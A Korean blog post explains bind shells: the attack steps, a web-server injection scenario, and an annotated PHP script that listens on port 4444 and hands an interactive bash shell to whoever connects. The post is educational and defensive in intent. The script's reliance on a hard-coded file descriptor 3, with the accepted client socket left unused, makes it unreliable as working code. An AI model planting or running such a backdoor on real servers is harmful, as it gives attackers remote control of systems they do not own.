시스템
[시스템] 바인드 쉘 ? 알아볼게요 ( with. shell script )
JJANG-JOON
2023. 8. 18. 13:59
반응형
바인드 쉘❓
바인드 쉘은 해커가 원격 시스템에 접근하여 제어하기 위해 사용하는 기술로, 서버에서 서버 포트가 열리고, 클라이언트(공격자)가 서버로 접속하여 생성하는 쉘 일반적인 서버 접속하는 형태이다.
바인드 쉘 공격 절차
- 포트 선택: 공격자는 바인드 쉘을 실행할 포트 번호를 선택하는데 이 포트는 공격자가 접근할 때 사용된다.
- 바인드 쉘 실행: 선택한 포트에서 리스닝하는 쉘을 실행시킨다. 이때 공격자는 해당 포트로 접근하면 쉘이 실행되어 원격으로 제어 가능한 상태가 된다.
- 연결 시도: 공격자는 바인드된 쉘이 실행된 시스템의 IP 주소와 선택한 포트로 연결을 시도한다.
- 원격 조작: 연결이 성공하면 공격자는 해당 쉘을 통해 명령어를 전송하여 시스템을 원격으로 조작하고 제어할 수 있다.
공격 시나리오
공격자가 어떤 기업의 웹 서버에 침투하고자 한다고 가정해보자
- 공격자는 해당 기업의 웹 사이트를 분석하여 취약점을 찾는다.
- 웹 사이트의 입력 폼에서 취약점을 발견하고, 악성 PHP 스크립트를 삽입한다.
- 악성 스크립트가 실행되면, 해당 서버는 바인드 쉘을 실행시켜 특정 포트에서 리스닝하게 된다.
- 공격자는 바인드된 쉘에 연결을 시도하고 성공하면, 원격으로 명령어를 실행하여 웹 서버를 조작하거나 중요한 데이터를 탈취할 수 있다.
- 공격자는 제어권을 가진 상태에서 서버를 마음대로 원격으로 제어하며, 중대한 피해를 입힐 수 있다.
바인드 쉘 예시:
예를 들어, 공격자가 웹 서버에 악성 코드를 삽입하여 해당 서버를 제어하고자 한다고 가정해자
- 공격자는 웹 서버의 취약점을 분석하여 공격 대상 시스템의 취약점을 확인한다.
- 해당 서버에 악성 PHP 스크립트를 삽입합니다. 이 스크립트는 특정 포트에서 바인드 쉘을 실행시키는 역할을 한다.
- 공격자는 바인드 쉘을 실행하기 위해 다음과 같은 명령어를 실행한다.
<?php
$bind_port = 4444; // 바인드 쉘을 실행할 포트 번호
$bind_addr = "0.0.0.0"; // 대기할 IP 주소 (0.0.0.0은 모든 인터페이스에 대해 대기)
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); // 소켓 생성
socket_bind($sock, $bind_addr, $bind_port); // 소켓을 지정된 IP와 포트에 바인드
socket_listen($sock, 5); // 소켓을 대기 상태로 설정하고 최대 5개의 연결 대기열 생성
$client = socket_accept($sock); // 클라이언트 연결을 대기하고 클라이언트가 연결되면 수락
socket_close($sock); // 소켓 닫기 (연결 대기 큐를 비우고 포트를 해제)
system("/bin/bash -i <&3 >&3 2>&3"); // 쉘 실행 및 입출력 리디렉션 설정
?>
위 스크립트는 PHP를 통해 바인드 쉘을 생성한다. 공격자가 웹 서버에 접근하면, 해당 스크립트가 실행되어 바인드 쉘을 리스닝하게 된다.
- $bind_port: 바인드 쉘을 실행할 포트 번호를 지정. 예제에서는 4444번 포트를 사용하도록 설정되어 있다.
- $bind_addr: 바인드된 쉘이 대기할 IP 주소를 지정. "0.0.0.0"은 모든 인터페이스에 대해 대기함을 의미한다. 이는 어떤 IP에서든 연결을 받을 수 있도록 한다.
- socket_create: PHP의 소켓 함수를 사용하여 소켓을 생성. AF_INET은 IPv4를 사용하며, SOCK_STREAM은 TCP 소켓을 의미한다. SOL_TCP는 프로토콜 레벨을 나타낸다.
- socket_bind: 생성한 소켓을 지정된 IP 주소와 포트에 바인드한다. 이로써 해당 IP와 포트로 들어오는 연결을 수신하게 된다.
- socket_listen: 소켓을 대기 상태로 설정하고 최대 대기 큐의 길이를 설정한다. 여기서는 최대 5개의 연결 대기열을 생성한다.
- socket_accept: 클라이언트 연결을 대기하고, 클라이언트가 연결되면 해당 클라이언트 소켓을 반환한다.
- socket_close: 소켓을 닫습니다. 연결 대기 큐를 비우고 포트를 해제한다.
- system("/bin/bash -i <&3 >&3 2>&3"): 이 부분은 바인드된 쉘에서 실행된다. /bin/bash는 바인드된 쉘이 쉘을 실행하라는 의미이며, <&3 >&3 2>&3는 입출력 리디렉션을 설정하는 부분이다. 이를 통해 쉘의 입출력이 소켓 연결로 이어지게 된다.
이 코드를 사용하는 시나리오는 다음과 같다.
- 공격자는 웹 서버에 악성 PHP 스크립트를 삽입하여 해당 서버에 침투하려고 한다.
- 악성 스크립트가 실행되면, 서버는 $bind_port에 지정된 포트에서 바인드 쉘을 실행시키기 시작한다.
- 공격자는 바인드 쉘에 접근하기 위해 해당 서버의 IP 주소와 $bind_port로 연결을 시도한다.
- 연결에 성공하면, 공격자는 바인드된 쉘을 통해 원격으로 명령어를 실행하고 시스템을 조작할 수 있게 된다.
✍용어정리
백도어 : 백도어(Backdoor)는 컴퓨터 시스템 또는 소프트웨어에 삽입되어 보안 제어를 우회하거나 외부 공격자에 의해 원격으로 접근하고 제어할 수 있는 비공식적인 액세스 포인트나 기능을 나타낸다. 쉽게 말해, 백도어는 시스템이나 소프트웨어의 정상적인 접근 방식을 우회하여 접근하거나 조작할 수 있는 악성 코드나 설정을 말한다.
바인드 쉘은 악용 가능성이 높은 도구로, 시스템 보안 전문가와 관리자는 취약점 분석 및 보안 대책을 통해 바인드 쉘과 같은 공격으로부터 시스템을 보호해야 한다.

반응형